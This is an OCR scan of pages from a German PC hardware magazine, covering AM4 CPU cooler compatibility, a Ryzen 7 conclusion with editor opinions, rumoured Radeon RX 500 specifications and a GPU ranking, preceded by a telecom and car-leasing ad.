AUSLAND 


197° 


ШЇ 


Volle 12 Monate, 
danach 19,99 €/Monat 


Mehr dazu unter 1u 


* 24 Monate Vertragslaufzeit. Telefonate in dt. Fest- und Handynetze inklusive. Einmaliger Bereitstellungspreis 29,90 €, kostenlose Overnight-Lieferung. Auf Wunsch mit Smartphone 
für 10,— € mehr pro Monat, ggf. zzgl. einmaligem Gerätepreis (Höhe geräteabhängig). Tarifpreis im E-Netz. Weitere Tarife ohne einmaligen Gerätepreis (Smartphone für 0,— €) 
sowie in D-Netz Qualität verfügbar. Preise inkl. MwSt. 1&1 Telecom GmbH, Elgendorfer Straße 57, 56410 Montabaur 


FÜR DIE STRASSE! 


Auf Wunsch dazu: 


PEUGEOT 208 


У Inkl. Steuern 
V Inkl. Versicherung 
V Inkl. Top-Extras 


P €/Monat" 


In Verbindung mit einer 1&1 All-Net-Flat. Leasing-Laufzeit 
12 Monate oder auf Wunsch flexibel bis zu 30 Monate. 


- Keine versteckten Kosten! 
V Keine Anzahlung 


V Keine Kosten bei Rückgabe 
V Überführung inkl. 


Peugeot 208 1.2 Active PureTech 82 
Schräghecklimousine 5-Türer, 
60 kW / 82 PS Schaltgetriebe 


Jede Menge Top-Extras inklusive! 
* 16" Leichtmetallfelgen 
In Kooperation mit * Hifi-Anlage mit Radio, Bluetooth und USB 
* Touchscreen für Smartphone-Nutzung 
SIXT e Panorama-Glasdach 
e Klimaautomatik 
e Rückfahrkamera und Einparkhilfe 
Mehr dazu unter www.1und1.de/sixt-neuwagen 


( 02602/9690 


! Peugeot 208 1.2 Active PureTech 82 (60 kW/82 PS): Kraftstoffverbrauch: innerorts: 5,5 1/100 km, außerorts: 3,9 1/100 km, kombiniert: 4,5 1/100 km; CO2-Emissionen kombiniert: 104 g/km. 
Werte nach EU-Messverfahren. Ein km-Leasingangebot für Privatkunden der Sixt Leasing SE, ZugspitzstraBe 1, 82049 Pullach (Darlehensgeber). Finanzierungsbeispiel: Laufzeit: 1 Jahr/ 
12 Monatsraten à 99,99 € inkl. 10.000 km/Jahr (0,0683 € pro Mehr-km), Nettodarlehensbetrag (Anschaffungspreis) 11.970,13 €. eff. Jahreszins: 0,12 %, gebundener Sollzins -1,27 %, 
Gesamtbetrag inkl. aller für den Verbraucher anfallenden Gesamtkosten bei vertragl. Laufleistung: 1.197,96 €, d.h. inklusive Überführungskosten, Zulassung, Kfz-Haftpflicht-, Kfz-Teil- 
kasko-, Kfz-Vollkaskoversicherung (1.000 € Selbstbeteiligung), Kfz-Steuer, Abmeldung sowie Begutachtung des Fahrzeugs durch unabhängigen Sachverständigen. Weitere Laufleistungen 
gegen Aufpreis möglich. Nur in Verbindung mit Abschluss einer 1&1 All-Net-Flat mit Vertragslaufzeit. Weitere Informationen unter www.1und1.de/sixt-neuwagen. Je 1&1 All-Net-Flat 1 d 1 d 
maximal ein Auto und nur solange der Vorrat reicht. Alle Preise inkl. MwSt., Abbildungen ähnlich. u n D e 
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< EN 
Passt: Dank unveránderter mittlerer Haltenase passen selbst Athlon-64-Kühler von 
2003 auf AM4-Mainboards, wenn eine Retention-Klammerhalterung genutzt wird. 


Abstandshalter mit 
durchgehender, weiter 
Bohrung (hier: Noctua) 
geben die richtige Hal- 
terungshóhe über dem 
Mainboard unabhängig 
von den Backplate- 
Gewinden vor. 


SÄI DA s: Ë = 2 p 


Sehr praktisch: Die Platine des Asus Crosshair VI Hero hat zusátzlich zu AM4- auch 
AM3-Halterungslócher. Eine passende Backplate muss der Kühler aber mitbringen. 
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eben neuen Mainboards er- 

fordert AMDs neue Plattform 
auch passende Kühler, denn die 
mit dem Sockel AM2(+) etablierte 
und sowohl bei AM3(+) als auch 
FM1 und ЕМ2(+) eingeführten 
Halterungslöcher haben ihre Posi- 
tionen verändert. Das neue Layout 
nutzt zwar den gleichen diago- 
nalen Lochabstand, ist aber nicht 
mehr so langgestreckt und dafür et- 
was breiter. Im Gegensatz zu Intels 
quadratischen Kühlerhalterungen 
sind die Montagelöcher allerdings 
weiterhin rechteckig angeordnet; 
Kühler können auch beim Sockel 
AMA nicht einfach um 90° gedreht 
montiert werden. 


Halterungen für das neue Lochras- 
ter wurden mittlerweile von allen 
Kühlerherstellern eingeführt oder 
angekündigt, reibungslos läuft die 
Umstellung dennoch nicht. So gibt 
es vier verschiedene Wege, Kom- 
patibilität mit Sockel-AM4-Main- 
boards sicherzustellen - und keine 
einzige davon funktioniert allge- 
mein und ohne Einschränkungen. 


AM3-Haltelöcher. Die ele- 
ganteste Lösung findet sich bei 
Asus‘ Crosshair VI Hero, das zusätz- 
lich zur AM4-Lochung auch 

über Montagelöcher nach 

Vorbild der älteren AMD- 

Sockel verfügt. So können 
alle mit dem Mainboard 
verschraubten АМ2(+)-/АМЭ(+)-/ 
FM1-/FM2(+)-Kühler mit ihrer 
bestehenden Halterung montiert 
werden. Gegebenenfalls wird aber 
die Backplate eines entsprechen- 
den alten Mainboards benötigt, 
wenn der Kühler keine eigene mit- 
bringt - die von Asus vormontierte 
Backplate ist ein normales AMÁ- 
Modell. Gegebenenfalls kann auch 
deren Demontage die Bastelfreude 
einschränken (siehe Option 3). 


Retention-Modul. Noch 
einfacher ist die Situation bei 
Kühlern, die an AMDs Retention- 
Modul eingehängt werden. Trotz 
der neuen Befestigung auf AM4- 
Mainboards sitzt nämlich die seit 
dem Sockel 754 bekannte mittlere 
Haltenase an der altbekannten Po- 
sition. Bestehende Klammerhalte- 


rungen funktionieren also auch auf 
AM4-Mainboards problemlos. Ver- 
schwunden sind dagegen die Ösen 
links und rechts neben der Nase. 
Der PCGH-Redaktion ist aber kein 
einziger Kühler bekannt, der dieses 
mit dem Sockel AM2 eingeführte 
Feature je genutzt hätte. 


Befestigung mit kühler- 
eigener Backplate oder direkt am 
Mainboard: Die meisten Kühlerher- 
steller setzen heutzutage auf eine 
Verschraubung mit einer eigenen 
Backplate oder seltener auf Push- 
Pins oder Schrauben-Muttern-Kom- 
binationen, die direkt an der Pla- 
tine verankert werden. Derartige 
Befestigungsmethoden werden für 
Intels Mittelklasse-Sockel ohnehin 
benötigt und andere Lochraster las- 
sen sich durch entsprechend ver- 
größerte Halterahmen und Back- 
plates leicht mit abdecken. Die gute 
Nachricht für Besitzer derartiger 
Kühler lautet: Passende AM4-Nach- 
rüstkits sind bei fast allen Herstel- 
lern verfügbar; nach Vorlage von 
AM4-Kaufbelegen sogar oft kosten- 
los oder gegen Erstattung der Ver- 
sandkosten (siehe Tabelle rechts). 


Die schlechte Nachricht? Asus ver- 
klebt die Serien-Backplate bei allen 
AM4-Mainboards mit der Platinen- 
Rückseite. Eine Entfernung ist zwar 
erlaubt, der Hersteller rät aber zur 
vorherigen Erwärmung mittels 
Fön. Die Erfahrungen der PCGH- 
Redaktion mit drei Crosshair VI 
Hero und einem Prime X370-Pro 
sprechen eine gemischte Sprache: 
Der verwendete Kleber ist ausge- 
sprochen stark, eine großflächige 
Verklebung wäre nur mit großem 
Aufwand lösbar. Bei unseren Test- 
mustern wurde die  Backplate 
aber nur im Bereich der Gewinde 
fest an das Mainboard gepresst. 
Diese punktuelle Verklebung ließ 
sich mit beherztem Kraftaufwand 
schnell überwinden. 


Befestigung an der AM4- 
Backplate: Einfacher wird die 
Montage, wenn der CPU-Kühler 
die Original-AMD-Backplate wei- 
terverwendet. Zwar braucht man 
auch hier eine passende Halterung, 
im Idealfall kann der Kühler aber 
sogar ohne Mainboard-Ausbau in- 


www.pcgameshardware.de 


Ryzen: AM4-Kühler | SPECIAL al 


Welche älteren und aktuellen Kühler sind AM4 kompatibel? Das sagen die Hersteller 


Rock TF2, Silent Loop 360. Restliche Produktpalette folgt. 


Hersteller Ab Werk kompatibel sind ... Nachrüst-Kits sind verfügbar für ... In Arbeit sind ... 

Antec A40, C40 und C400 - Kits für H600 Pro und H1200 Pro 

Alphacool Eisblock XPX Silber (ältere Varianten werden nach und Alle aktuellen Modelle (XP3, Eisblock und abgeleitete Kompaktlö- | Angepasste Schraubenlängen statt Unter- 
nach umgestellt) sungen). Kit braucht zusätzliche Unterlegschreiben. legscheiben 

Aquacomputer | Cuplex-Kryos-Next-,, AM4" Modelle Alle Kühler seit Firmengründung (Cuplex 1.0 bis Kryos Next) - 

Arctic Alpine 64, Freezer Xtreme, 13, 7; Freezer 12, 33 - Kits für Liquid Freezer (ab April) 

Be Quiet Pure Rock, Pure Rock Slim, Shadow Rock LP; Shadow Silent Loop (erfordert zusätzliche Unterlegscheiben), Dark Rock 3, | Angepasste Schraubenlängen statt Unter- 


Pro 3, TF; Shadow Rock 2 und Slim 


legscheiben für Silent Loop 


Cooler Master 


Blizzard T2, T4, Hyper TX 3; Masterliquid 120/240 und 
Lite 120; alle seit Februar ausgelieferten Masterliquid-, 
Nepton-, Seidon-, Masterair- und Hyper-212-Modelle 


Hyper 212X und Evo, Hyper 4125, Masterair Pro 3 und 4 


Alle anderen Kühler (auBer Hyper 103, Ma- 
sterliquid Maker 92, Gemini Il, V8 ver.2/GTS; 
Hyper 212 LED produziert vor Februar.) 


Corsair Kompaktwasserkühlungen H60, H110i, H100i H50, 55, 75, 80i v2, 80i GT, 90, 100i v2, 100i GTX, 105, 110i - 
GIX, 115i 
Cryorig R1 und H5, H7 AM4/3, М9а AM4/3, H7 Quad Lumi Alle anderen Kühler außer М9Ї _ 
EKL Ben Nevis, Sella _ Kits für alle anderen aktuellen Kühler (ver- 
klebte Backplates werden berücksichtigt) 
Enermax Neu produzierte Liqmax-Modelle (Produktnummer endet | ETS-T50 Axe, ETS-T40F, ETS-N30-Il, Шатах Il _ 
auf -BSA statt -BS) 
EKWB Supremacy Evo und MX in AMD-Ausführung Supremacy Evo und MX _ 


Fractal Design 


Kelvin-Baureihe 


Lepa _ Aquachanger LPWAC120-HF, LPWAC250-HF, Neollusion LP- _ 
ANL12 
Noctua Sondereditionen mit Zusatz "SE-AM4" Alle Modelle außer NH-L9i, NH-U12DO АЗ und NH-U9 DO АЗ _ 
Scythe Retentionhalterung: Katana 3 & 4, Kabuto 3, Shuriken Kühler mit HPMS II (z.B. Mugen 5)- und HPMS-Halterung (Mugen | – 
Rev. B, Tatsumi A, Byakko, lori. 4 & Max,, Kotetsu, Ninja 4, Grand Kama Cross 3, Fuma, Ashura) 
Thermalright | Alle Neuauslieferungen außer HR-02 und Silver Arrow Befestigungssysteme der АХР-, Macho-, True Spirit-, Archon- & | Alternative Schrauben für Mainboards mit 
ITX-R Silver-Arrow-Serien. Kühler mit Zentralschrauben-Halterung (z.B. | verklebter Backplate 
Venomous, HR-02) brauchen zusátzlich True Bolt Through Kit. 
Watercool Heatkiller IV AM4 ready Heatkiller 3, Heatkiller IV - 
XSPC Raystorm Pro АМ4 Raystorm, Raystorm Pro = 


Hinweis: Einige Antworten, insbesondere von Herstellern mit groBem und/oder weit zurückreichendem Portfolio, waren unvollstándig. Weitere Kühler Кбппеп kompatibel sein. 


stalliert werden. Leider gibt es bei 
einigen der bereits im Voraus ange- 
kündigten Umrüst-Kits dieser Art 
Probleme: Zusätzlich zu den neuen 
Positionen hat sich auch die Làn- 
ge der Gewinde in der Backplate 
geändert. Diese ragen auf der Vor- 
derseite nun circa 2 mm weiter aus 
dem Mainboard hervor, als es bei 
AM2(+)-/AM3(+)-/FM1-/FM2(+)- 
Mainboards üblich war. 


Interessanterweise finden sich in 
der PCGH-Redaktion aber auch 
drei Jahre alte AM3-Mainboards 
mit ähnlich langen Gewinden. Lei- 
der stellte uns AMD die entspre- 
chenden Spezifikationen auch auf 
Nachfrage nicht zur Verfügung. 
So blieb bis Redaktionsschluss un- 
klar, ob diese geändert wurden, 
ob sie in der Vergangenheit unklar 
waren oder ob sie bei einer der 
AM3-Backplate-Varianten schlicht 
ignoriert wurden. Fest steht aber: 
Neben einem passenden Halterah- 
men braucht man für AM4 auch 
die richtigen Abstandshalter - und 
AMD hat die Länge der AM4-Back- 
plate-Gewinde nicht rechtzeitig 
kommuniziert. Einige Kühlerher- 
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steller erhielten erst in der Woche 
der Ryzen-Markteinführung finale 
Muster der neuen Backplate; die 
lange vorher gestartete Produktion 
von Umrüst-Kits geschah in Annah- 
me der AM3-typischen kurzen Ge- 
winde. Wer einen entsprechenden 
Kühler besitzt, sollte den Hersteller 
kontaktieren und explizit auf den 
Sachverhalt ansprechen. In vielen 
Fällen lassen sich die Kühler näm- 
lich trotzdem montieren, aber der 
2,4 mm höher liegende Anschlag 
führt zu einer geringen Anpress- 
kraft und möglicherweise redu- 
zierten Kühlleistung. 


Nachbesserungen 

Bei zu hohen Anschlägen lässt sich 
die eigentlich vorgesehene An- 
presskraft oft durch einfache Mo- 
difikationen an der Halterung wie- 
derherstellen: 2,4 mm zu weitoben 
stoppende Schrauben lassen sich 
durch Unterlegscheiben mit einer 
Gesamtdicke von 2,4 mm unter den 
Halterungs-Federn kompensieren. 
Auch das Problem der verklebten 
Backplates lässt sich mittelfristig 


Neu: Für die AM4-Backplate sind 5,15 mm hohe Gewinde spezifiziert 


WI 


umgehen: Mehrere Hersteller ha- ` Kühlerhalterungen von Alphacool, Prolimatech und einige ältere Scythe-Kühler nut- 
ben ihre bisherigen Halterungs- zen die Backplate-Gewinde als Anschlag. Leider ragen diese jetzt weiter hervor. 
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Sum \ е = — - 
Nachbesserung: Bei Halterungen, die Probleme mit der neuen Backplate-Gewindelàn- 


pläne mit einer eigenen Backplate 
gestoppt und wollen ganz auf die 
Original-AMD-Backplate wechseln 
oder ein AM4-Nachrüst-Kit anbie- 
ten, das entsprechende Alternativ- 
Schrauben enthält. 


Weitere Mainboards mit AM3-Hal- 
terungslöchern erwarten wir da- 
gegen nicht. AMD selbst begründet 
die Änderungen mit der gesteiger- 
ten Kontaktanzahl des Sockel AM4 
- 1.331 Leiterbahnen hätten eine 
Nutzung des bisherigen Layouts 
unmöglich gemacht. Asus dürfte 
also einiges an Entwicklungsarbeit 
in ein Design investiert haben, dass 
sogar AM3- und AM4-Bohrungen 
kombiniert. Diesen Entwicklungs- 
aufwand jetzt zu wiederholen, um 
dann mehrere Monate nach der 
Verfügbarkeit kompatibler Kühler 
neue Mainboards mit Abwärtskom- 
patibilität zu präsentieren, lohnt 


Nicht vergessen: Die TDP 

Neuentwicklungen mit Retention- 
Halterung könnte es in Zukunft 
dagegen mehrere geben. In den 
letzten Jahren war diese vollständig 
Intel-inkomptible Halterungsform 
fast nur noch bei Billigkühlern 
zu finden. Hier gibt es, um einige 
Cent Unkosten für Multi-Sockel- 
halterungen einzusparen, ohnehin 
oft getrennte Intel-(Push-Pin-) und 
AMD-(Retention-)Versionen. Insbe- 
sondere Besitzer von FM2+-Syste- 
men mit derartigen Kühlern soll- 
ten beim Wechsel auf Ryzen aber 
auch auf die Kühlleistung achten: 
Die Wärmeentwicklung der neu- 
en CPUs liegt teils deutlich über 
der von alten Einsteiger-APUs und 
erzwingt gegebenenfalls die Neu- 
anschaffung einer leistungsfähigen 
Kühllösung, obwohl alte Kühler 
mit Retention-Halteklammer me- 
chanisch eigentlich immer АМ4- 


ge haben, können passende Unterlegscheiben unter den Federn helfen. sich für andere Hersteller nicht. kompatibel sind. (їр) 


AM4-Kühlerkompatibilitàt — ein Überblick 
Der vorhandene Kühler... 


... wird am AMD-Retentionmodul 
befestigt unter Verwendung der ... 


... mittleren Haltenase ... außenliegenden Ösen 


ird mit dem Mainboard verschraubt. 


Eine Halterung mit AM4-Lochabstand ist ... 


‚.. nicht verfügbar ... bald verfügbar 


.. verfügbar/vorhanden. 
Der Kühler nutzt ... 


... eine eigene Backplate und soll 
auf einem Mainboard mit ... 


... die AM4-Retention Backplate. 
Die Kühlerhalterung berücksichtigt die... 


... AM4-Backplate- 
Gewindehóhe. 


... AM4-Backplate- 
Gewindehóhe noch nicht. 


... Verklebter Backplate 
verbaut werden. (Asus) 


... unverklebter Backplate 
verbaut werden. (Asrock, 
Gigabyte, MSI und Biostar) 


* Zusätzlich zur mechanischen Kompatibilität muss in jedem Fall die Kühlleistung für die TDP-Klasse der gewählten Ryzen-Modelle ausreichen. 
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AMD Ryzen: 


Fazit und Ausblick 


ie befinden sich auf der 32. 
S<. unseres epischen Ryzen- 
Specials - Zeit, ein Fazit zu ziehen. 
Wir hoffen, Sie nicht unter der 
Informationslawine begraben zu 
haben, sondern dass Sie wertvol- 
le Daten für Ihre bevorstehende 
Aufrüstung gewonnen haben. So 
mancher frischgebackener Ryzen- 
Käufer wird sich außerdem über 
die Tuning-Inspirationen freuen - 
PC Games Hardware wünscht viel 
Erfolg und Freude beim Basteln! 


Ryzen 7: Stark, aber ... 

Es besteht kein Zweifel daran, dass 
AMD mit den Ryzen-7-Prozessoren 
zurück im Spiel ist. Summit Ridge 
liefert die höchste Pro-MHz-Leis- 
tung, die jemals einem AMD-Pro- 
zessor innegewohnt hat; in einigen 
Tests verarbeitet ein Ryzen-Kern 


über 50 Prozent mehr Daten pro 
Zyklus als Excavator, AMDs finale 
Ausbaustufe des glücklosen Bulldo- 
zer (FX). Das führt in Kombination 
mit acht Rechenherzen zu sehr ho- 
her Anwendungs- und guter Spiele- 
Leistung. Letztere kann nicht in 
allen Titeln überzeugen, doch nach 
unzähligen Tests gaben sich die 
Flaschenhälse und Stellschrauben 
zu erkennen: Wer bestmögliche 
Bildraten mit einem Ryzen 7 erhal- 
ten möchte, sollte SMT deaktivie- 
ren und dem Prozessor möglichst 
schnellen Arbeitsspeicher zur Ver- 
fügung stellen - bedauerlicherwei- 
se ist dieser gerade relativ teuer. 


Ebenfalls überzeugend, allerdings 
stark von der Hauptplatine und 
dem Prozessormodell abhängig, ist 
die Leistungsaufnahme. Der Ryzen 


Ryzen 7: Wie zukunftssicher 
sind die Achtkerner wirklich? 


R7 1700 arbeitet selbst unter Voll- 
last sehr effizient, was er seinem 
moderaten Takt und den dazu pas- 
senden, geringen Spannungen zu 
verdanken hat. Die Modelle 1700X 
und 1800X zielen auf hóhere Leis- 
tung ab. In der Praxis führt die 
Kombination aus deutlich hóherer 
Spannung bei nur leicht gesteiger- 
ten Taktraten zwar zu besseren Re- 
sultaten, allerdings auf Kosten der 
Energie-Effizienz. Auch preislich ist 
der R7 1700 das attraktivste Modell, 
vor allem für passionierte Übertak- 
ter - es scheint, als kónne jeder 
1700 das Taktniveau des 1800X 
mittels Overclocking erreichen. 


Die andere Seite der Medaille wird 
von den Hauptplatinen repräsen- 
tiert. Zwar lässt sich kaum ein Нег- 
steller zu direkten Aussagen hin- 


reifsen, vieles deutet jedoch darauf 
hin, dass AMD seine Partner zu spát 
oder nur unzureichend über die 
Anforderungen der Ryzen-Prozes- 
soren aufgeklárt hat. Infolgedessen 
berichteten viele Frühumsteiger 
von mehr oder minder großen 
Problemen, die im Laufe des März 
durch (unzählige) Firmware-Up- 
dates aller Mainboard-Schmieden 
beseitigt wurden. Mittlerweile lau- 
fen die meisten Bretter rund. 


Ausblick: Ryzen 2017 

Ryzen 7 ist erst der Anfang, im April 
starten die Ryzen 5 mit sechs oder 
vier Kernen, später sollen die Ein- 
steigerversionen (Ryzen 3) folgen. 
Sie alle werden von zahlreichen 
Hauptplatinen-Neuvorstellungen 
begleitet. Freuen Sie sich auf die 
nächste Ausgabe! (ru) 


CPU für 2025 auf Plattform für 
2015 (mit Kühlern von 2005?) 


AMD vergleicht Ryzen gerne mit Intel-Achtkernern und 
tatsächlich: Diese sind deutlich teurer und nur wenig 
schneller — und für heutige Spiele genauso überdi- 
mensioniert wie ein 1800X. Eigentlich kauft man Acht- 
kerner mit Blick auf die Zukunft und hier kónnte AMD 
punkten — wäre der AMA keine Einsteiger-Plattform. 
Bei dieser kann man in ein paar Jahren weder eine 
zweite M.2-SSD mit voller Geschwindigkeit noch neue 
Schnittstellen nachrüsten und die Ryzen-7-Zusammen- 
stellung veraltet genauso schnell wie ein i7-7700K, 
wobei Letzterer im Hier und Jetzt flinker ist. Spannender finde ich das (Preis-)Duell 
zwischen Ryzen 5 und unübertaktbaren Intel-Einsteigersystemen. 


Battlefield 1 scheint in hektischen Multiplayer-Gefech- 
ten das Achtkern-Versprechen von toller Performance in 
allen Lebenslagen zu bestätigen und tatsächlich lassen 
die Ryzen-7-CPUs dank durchweg hoher Fps-Raten für 
den Spieler von heute nichts zu wünschen offen. Nur 
was ist mit dem vielpropagierten „X-Kernern gehört die 
Zukunft"? Man setzt hier darauf, dass nicht nur Anwen- 
dungen, sondern auch Spiele hochgradig parallelisiert A? 

werden (können) — doch was, wenn Entwickler SSE-Zö- Carsten Spille 

pfe abschneiden und in mittlerer Zukunft auch auf das 

mächtigere AVX2 setzen? Das könnten aktuelle Core-CPUs doppelt so schnell und 
der Octo- vs. Quadcore-Vorteil würde verpuffen. Sie sehen: Nichts ist sicher. 


Torsten Vogel 


Ryzen hat Dampf, ist nur zum 
Spielen aber fast zu schade. 


In Spielen schwächelt Ryzen, doch die Anwendungs- 
leistung pro Euro ist klasse. Das ist erst recht der Fall, 
wenn man sich den günstigen Ryzen 7 1700 schnappt 
und übertaktet. Ich kann verstehen, wenn jemand 
einfach Lust auf etwas Neues hat und mal wieder ein 
AMD-System nutzen möchte — Hobby eben. Nüchtern 
betrachtet ist aber ein (ebenfalls übertaktbarer) 
i7-7700K im gleichen Preisbereich die bessere Wahl 
für PC-Spiele. Damit sich ein Ryzen-Achtkerner lohnt, 
sollte man die acht Kerne also auch mit etwas ande- 
rem zu beschäftigen wissen. Rendering? Virtualisierung? Mining? Egal, was Sie 
anstellen, liebe Ryzen-Besitzer, ich freue mich über Anregungen via Leserbrief. 


Ryzen 7: Alle Kernboys froh- 
locken - so auch ich. 


AMDs CPU-Sparte ist tatsächlich von den Toten aufer- 
standen und — das ist noch erstaunlicher — kann dem 
Giganten Intel das Wasser reichen. Die Leistung der 
Ryzen 7 in modernen, hochparallelisierten Anwen- 
dungen ist beeindruckend, während Spiele einfach 
nur gut (und wesentlich viel besser als auf einem FX) 
aufen. Ich glaube nicht daran, dass wundersame Up- 
dates für Windows 10 „20 Prozent auf alles” (außer а ER 
iernahrung) bringen werden. Wohl aber glaube ich Raffael Vötter 

an UEFI-Updates, die auch die letzten Geburtswehen 

beseitigen. Ich werde mir jedenfalls in Kürze ein System auf Basis eines Ryzen 7 
700 zusammenstecken und damit herumspielen. Die CPU liegt schon bereit. 


Stephan Wilke 
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Grafikkarten 


Grafikkarten, Kühler 


RX-580-Simulation: Leistung in Full HD (1080p) 


Doom (Vulkan), TSSAA 8TX/16:1 AF - , Devil's Dance" 


Radeon R9 Fury X/4G == 176,7 (+22 %) 
RX 480 @ 1.400/4.500 MHz ЗО EM 165,2 (+14 %) 
Geforce GTX 1070/8G [X30 93 165,0 («14 96) 
Radeon RX 580/8G (simuliert) ВЕТО En 154,7 (+6 96) 
Radeon RX 480/8G Ens ЕШШ 145,3 (Basis) 
Geforce GTX 970/3,5+0,5G pgs s 104,9 (-28 96) 


The Witcher 3, Ingame-AA/16:1 AF, kein Gameworks - „Boat Trip" 


Geforce GTX 1070/8G Egan? 87,0 (+45 96) 
Radeon R9 Fury X/4G EX 74,7 (24 96) 
RX 480 @ 1.400/4.500 MHz Ese 66,9 (+11 96) 
Radeon ВХ 580/8G (simuliert) HOO] 62,8 (+4 96) 
Radeon RX 480/8G. E581 60,2 (Basis) 
Geforce GTX 970/3,5+0,5G XX! 54,3 (-10 96) 


Rise of the Tomb Raider (DX12), SMAA/16:1 AF - „бео Valley" 


Geforce GTX 1070/8G Gü ÓcpansÚ G 65,5 (+49 96) 
Radeon R9 Fury X/4G Eam 49,2 (+12 96) 
RX 480 @ 1.400/4.500 MHz EE 48,0 (+9 96) 
Radeon RX 580/8G (simuliert) age 45,3 (+3 %) 
Radeon RX 480/8G [538 44,1 (Basis) 
Geforce GTX 970/3,5+0,5G [35115 32,9 (-25 96) 


System: Core i7-6800K @ 4,4 GHz, MSI X99A Tomahawk, 4 x 8 GiB DDR4-3000 (1T); 
Windows 10 x64, GF 378.92, RS 17.3.2, HQ-AF Bemerkungen: Die Leistungssteigerung 
der mutmaßlichen RX 580 gegenüber einer maximal boostenden RX 480 ist überschaubar. 


Mimi ø Fps 


» Besser 


www.pcgameshardware.de/grafikkarte 


RX Vega und RX 500 


Die Monate April und Mai versprechen zahlreiche neue Grafikprodukte aus 
dem Hause AMD. PCGH fasst die aktuellen Radeon-Gerüchte zusammen. 


och bevor der High-End-Chip Vega 10 voraussichtlich Ende Mai de- 

bütiert, überarbeitet AMD sein Einsteiger- und Mittelklasse-Portfolio. 
Als gesichert gilt, dass die neuen Grafikkarten der RX-500-Reihe angehö- 
ren und im April präsentiert werden. Die Gerüchteküche im Internet ist 
sich bei Redaktionsschluss dieser Ausgabe noch uneins darüber, welcher 
Fertigungsprozess, welche Codenamen und welche Taktfrequenzen ver- 
wendet werden. Wir haben die Informationen gefiltert und in die unten 
stehende Tabelle gepackt. Das Interessante - allerdings nicht Gesicherte 
- an der RX-500-Reihe ist, dass die GPUs in einem gereiften 14-nm-Prozess 
gefertigt werden sollen: Basieren Polaris 10 und Polaris 11 auf dem LPE- 
Verfahren (das E steht für „early“), soll AMD für Polaris 20, 21 und 12 auf 
den LPP-Prozess (P für Performance) wechseln. 


Das Ziel ist gesteigerte Energieeffizienz, welche sich selbstverständlich 
auch in eine höhere Leistung pro Watt ummünzen lässt. Dementspre- 
chend takten die Radeon RX 580 und RX 570 (derzeit spekulative, aber 
wahrscheinliche Namen) etwas höher als ihre Vorgänger und werden ver- 
mutlich etwas effizienter arbeiten. Ein fühlbarer Leistungssprung ist man- 
gels zusátzlicher Rechenwerke oder erhóhter Speichertransferrate jedoch 
nicht zu erwarten - es sei denn, AMD hat alle an der Nase herumgeführt 
und Polaris 10 (20) trägt doch 40 Compute Units (2.560 Shader-ALUs). 
Ganz neu, das heißt ohne RX-400-Vorgánger, ist Polaris 12, welcher als RX 
550 das Einsteiger-Segment bedienen soll. Die XT-Version (Vollausbau) 
soll 640 Shader-ALUs beherbergen, deutlich weniger als die derzeitige RX 
460. Wir vermuten, dass diese Grafikkarte die Ryzen-Prozessoren ergän- 
zen soll, welche über keine integrierte Grafikeinheit verfügen. PC Games 
Hardware wird die RX-500-Grafikkarten selbstverständlich zeitnah testen, 
bereits in der nächsten Ausgabe sollte es so weit sein. Um die Wartezeit 
etwas zu verkürzen, haben wir eine Simulation anhand einer Asus Radeon 
RX 480 Strix durchgeführt, einmal mit 1.340/4.000 MHz (vermutliche RX 
580) und als Vergleich mit maximalen Frequenzen im OC-Betrieb. (rv) 


Radeon RX 500: Mutmaßliche Spezifikationen 


Modell Radeon RX 580 Radeon RX 480 Radeon RX 570 Radeon RX 470 Radeon RX 560 Radeon RX 460 Radeon RX 550 
Codename Polaris 20 XT Polaris 10 XT Polaris 20 Pro Polaris 10 Pro Polaris 21 XT Polaris 11 Pro Polaris 12 XT 
Fertigung (mutmaßlich) 14 nm LPP 14 nm LPE 14 nm LPP 14 nm LPE 14 nm LPP 14 nm LPE 14 nm LPP 
Shader-/SIMD-/Textureinheiten 2.304/36/144 2.304/36/144 2.048/32/128 2.048/32/128 1.024/16/64 896/14/56 640/10/40 
Raster-Endstufen (ROPs) 32 32 32 32 16 16 16 
GPU-Basistakt (Megahertz) unbekannt 1.120 unbekannt 926 unbekannt 1.090 unbekannt 
GPU-Boost-Takt (Megahertz) 1.340 1.266 1.244 1.206 1.287 1.200 unbekannt 
Rechenleistung SP/DP (Mrd./s) 6.175/386 5.834/365 5.095/318 4.940/309 2.635/165 2.150/134 unbekannt 
Speicheranbindung (Bit) 256 256 256 256 128 128 unbekannt 
Geschwindigkeit Speicher (GT/s) 8,0 8,0 7,0 6,6 70 70 unbekannt 
Speicherübertragung (GB/s) 256 256 224 211 112 102 unbekannt 
Speichermenge (MiByte) 4.096/8.192 4.096/8.192 4.096/8.192 4.096/8.192 2.048/4.096 2.048/4.096 2.048/4.096 
PCI-E-Stromanschlüsse 1 x 6-polig (vmtl.) 1 x 6-polig 1 x 6-polig (vmtl.) 1 x 6-polig unbekannt = unbekannt 
Typischer Verbrauch (Watt) unbekannt 150 unbekannt 120 unbekannt <75 unbekannt 


48 


PC Games Hardware | 05/17 


www.pcgameshardware.de 


Startseite | GRAFIKKARTEN 


GPU-Leistungsindex: Top 20 


Wi Gesamt B FHD E WQHD E UHD 


BESSER > | Normierte Leistung 
| Preis-Leistungs-Index (РІМ): Mehr ist besser 


G NEU 


eforce 
GTX 1080 Ti 


Takt: 1.582 MHz, 11 GT/s 

RAM: 11 GiB GDDR5X 

Preis: Ca. 780 € (Neu) 
PLV: 51,9% 


Titan X 

(Pascal) 

Takt: 1.531 MHz, 10 GT/s 
ВАМ: 12 GiB GDDR5X 


Preis: Ca. 1.359 € (+0) 
PLV: 29,5 % 


Geforce 

GTX 1080 

Takt: 1.733 MHz, 10 GT/s 

RAM: 8 GiB GDDR5X 

Preis: Ca. 490 € (-110) 
PLV: 68,8 % 


Geforce 
GTX 1070 


Takt: 1.683 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 390 € (-10) 
РІМ: 70,2 % 


Geforce 
GTX 980 Ti 


Takt: 1.075 MHz, 7 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 500 € (-20) 
PLV: 50,8 % 


Radeon 

R9 Fury X 

Takt: 1.050 MHz, 1 GT/s 

RAM: 4 GiB HBM 

Preis: Ca. 500 € (+80) 
PLV: 48,4 % 


Radeon 
R9 390X 


Takt: 1.050 MHz, 6 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 330 € (-30) 
PLV: 63,7 % 


Geforce 

GTX 1060/6G 

Takt: 1.709 MHz, 8 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 260 € (+0) 
PLV: 76,6 % 


Radeon 
RX 480/8G 


